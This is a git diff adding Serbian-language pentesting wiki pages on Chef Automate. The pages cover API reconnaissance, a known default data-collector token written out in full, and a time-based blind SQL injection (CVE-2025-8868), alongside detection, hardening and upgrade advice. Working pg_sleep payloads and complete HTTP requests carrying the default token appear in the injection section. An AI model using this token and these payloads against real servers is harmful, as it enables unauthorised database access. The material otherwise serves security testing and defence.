diff --git a/src/pentesting-ci-cd/chef-automate-security/README.md b/src/pentesting-ci-cd/chef-automate-security/README.md new file mode 100644 index 000000000..9c6c4694b --- /dev/null +++ b/src/pentesting-ci-cd/chef-automate-security/README.md @@ -0,0 +1,18 @@ +# Chef Automate Sigurnost + +{{#include ../../banners/hacktricks-training.md}} + +## Šta je Chef Automate + +Chef Automate je platforma za automatizaciju infrastrukture, usklađenost i isporuku aplikacija. Izlaže web UI (često Angular) koji komunicira sa backend gRPC servisima preko gRPC-Gateway, pružajući REST-slične krajnje tačke pod putanjama kao što je /api/v0/. + +- Uobičajene backend komponente: gRPC services, PostgreSQL (često vidljivo preko pq: error prefiksa), data-collector ingest service +- Mehanizmi autentifikacije: user/API tokens i data collector token header x-data-collector-token + +## Enumeration & Attacks + +{{#ref}} +chef-automate-enumeration-and-attacks.md +{{#endref}} + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md b/src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md new file mode 100644 index 000000000..93224065f --- /dev/null +++ b/src/pentesting-ci-cd/chef-automate-security/chef-automate-enumeration-and-attacks.md @@ -0,0 +1,142 @@ +# Chef Automate Enumeration & Attacks + +{{#include ../../banners/hacktricks-training.md}} + +## Pregled + +Ova stranica sakuplja praktične tehnike za enumeraciju i napade na Chef Automate instance, sa naglaskom na: +- Otkrivanje gRPC-Gateway-backed REST endpointa i zaključivanje shema zahteva putem odgovora o validaciji/greškama +- Zloupotreba headera x-data-collector-token za autentifikaciju kada su prisutne podrazumevane vrednosti +- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) koji utiče na filters[].type polje u /api/v0/compliance/profiles/search + +> Napomena: Backend odgovori koji uključuju header grpc-metadata-content-type: application/grpc obično ukazuju na to da gRPC-Gateway povezuje REST pozive sa gRPC servisima. + +## Recon: Architecture and Fingerprints + +- Front-end: Često Angular. Statički bundle-i mogu nagovestiti REST putanje (npr. /api/v0/...) +- API transport: REST ka gRPC preko gRPC-Gateway +- Odgovori mogu uključivati grpc-metadata-content-type: application/grpc +- Database/driver fingerprints: +- Tela grešaka koja počinju sa pq: snažno ukazuju na PostgreSQL sa Go pq driverom +- Zanimljivi Compliance endpointi (zahteva autentifikaciju): +- POST /api/v0/compliance/profiles/search +- POST /api/v0/compliance/scanner/jobs/search + +## Auth: Data Collector Token (x-data-collector-token) + +Chef Automate izlaže data collector koji autentifikuje zahteve putem posebnog headera: + +- Header: x-data-collector-token +- Rizik: Neka okruženja mogu zadržati podrazumevani token koji daje pristup zaštićenim API rutama. Poznat podrazumevani token viđen u prirodi: +- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 + +Ako postoji, ovaj token se može iskoristiti za pozivanje Compliance API endpointa koji su inače zaštićeni autentifikacijom. Uvek pokušajte rotirati/onemogućiti podrazumevane vrednosti tokom hardeninga. + +## API Schema Inference via Error-Driven Discovery + +gRPC-Gateway-backed endpointi često leak-uju korisne greške validacije koje opisuju očekivani model zahteva. + +Za /api/v0/compliance/profiles/search, backend očekuje body sa nizom filters, gde je svaki element objekat sa: + +- type: string (identifikator polja filtera) +- values: array of strings + +Example request shape: +```json +{ +"filters": [ +{ "type": "name", "values": ["test"] } +] +} +``` +Neispravan JSON ili pogrešni tipovi polja obično izazivaju 4xx/5xx odgovore sa nagoveštajima, a zaglavlja ukazuju na ponašanje gRPC-Gateway. Iskoristite to da mapirate polja i lokalizujete površine za injekciju. + +## Compliance API SQL Injection (CVE-2025-8868) + +- Pogođeni endpoint: POST /api/v0/compliance/profiles/search +- Tačka injekcije: filters[].type +- Tip ranjivosti: time-based blind SQL injection in PostgreSQL +- Uzrok: Nedostatak pravilne parametrizacije/whitelistinga pri interpolaciji polja type u dinamički SQL fragment (verovatno korišćen za konstrukciju identifikatora/WHERE klauza). Namerno konstruisane vrednosti u type se evaluiraju od strane PostgreSQL. + +Funkcionalan time-based payload: +```json +{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]} +``` +Napomene tehnike: +- Zatvorite originalni string jednostrukim apostrofom (') +- Konkatenirajte podupit koji poziva pg_sleep(N) +- Ponovo uđite u kontekst stringa preko || tako da konačni SQL ostane sintaksički ispravan bez obzira gde je type ugrađen + +### Dokaz pomoću diferencijalne latencije + +Pošaljite uparene zahteve i uporedite vreme odgovora da biste potvrdili izvršavanje na strani servera: + +- N = 1 sekunda +``` +POST /api/v0/compliance/profiles/search HTTP/1.1 +Host: +Content-Type: application/json +x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 + +{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]} +``` +- N = 5 sekundi +``` +POST /api/v0/compliance/profiles/search HTTP/1.1 +Host: +Content-Type: application/json +x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506 + +{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]} +``` +Observed behavior: +- Vremena odziva se povećavaju proporcionalno pg_sleep(N) +- HTTP 500 odgovori mogu uključivati pq: detalje tokom ispitivanja, potvrđujući putanje izvršavanja SQL-a + +> Savet: Koristite alat za merenje vremena (npr. više pokušaja sa statističkim poređenjem) da smanjite šum i lažno pozitivne rezultate. + +### Impact + +Autentifikovani korisnici — ili neautentifikovani akteri koji zloupotrebljavaju podrazumevani x-data-collector-token — mogu izvršavati proizvoljan SQL unutar PostgreSQL konteksta Chef Automate‑a, ugrožavajući poverljivost i integritet profila usklađenosti, konfiguracije i telemetrije. + +### Affected versions / Fix + +- CVE: CVE-2025-8868 +- Preporuka za nadogradnju: Chef Automate 4.13.295 ili noviji (Linux x86) prema obaveštenjima dobavljača + +## Detection and Forensics + +- API layer: +- Pratite 500 odgovore na /api/v0/compliance/profiles/search gde filters[].type sadrži navodnike ('), operator konkatenacije (||), ili reference na funkcije kao pg_sleep +- Pregledajte zaglavlja odgovora za grpc-metadata-content-type kako biste identifikovali gRPC-Gateway tokove +- Database layer (PostgreSQL): +- Auditujte pozive pg_sleep i greške neispravnih identifikatora (često prikazane sa prefiksima pq: koji dolaze iz Go pq drajvera) +- Authentication: +- Zapisujte i postavljajte upozorenja za upotrebu x-data-collector-token, naročito poznatih podrazumevanih vrednosti, preko API ruta + +## Mitigations and Hardening + +- Immediate: +- Zamenite/onemogućite podrazumevane data collector tokene +- Ograničite pristup do data collector endpoint‑a; zahtevajte jake, jedinstvene tokene +- Code-level: +- Parametrišite upite; nikada ne konkatenirajte SQL fragmente kao stringove +- Strogo izričito dozvolite samo prihvatljive vrednosti polja type na serveru (enum) +- Izbegavajte dinamičko sklapanje SQL‑a za identifikatore/klauzule; ako je dinamičko ponašanje neophodno, koristite bezbedno citiranje identifikatora i eksplicitne bele liste + +## Practical Testing Checklist + +- Proverite da li se x-data-collector-token prihvata i da li poznati podrazumevani radi +- Mapirajte šemu zahteva Compliance API‑ja izazivanjem grešaka validacije i čitanjem poruka o grešci/zaglavlja +- Testirajte za SQLi u manje očiglednim „identifier-like“ poljima (npr. filters[].type), ne samo u nizovima vrednosti ili top‑level tekstualnim poljima +- Koristite tehnike zasnovane na vremenu uz konkatenaciju da biste održali SQL sintaksno važećim u različitim kontekstima + +## References + +- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate) +- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/) +- [CVE-2025-8868](https://www.cve.org/CVERecord?id=CVE-2025-8868) +- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway) +- [pq PostgreSQL driver for Go](https://github.com/lib/pq) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md index f056330cf..b16f7d106 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md @@ -1,5 +1,3 @@ # GCP - Post Exploitation {{#include ../../../banners/hacktricks-training.md}} - -{{#include ../../../banners/hacktricks-training.md}}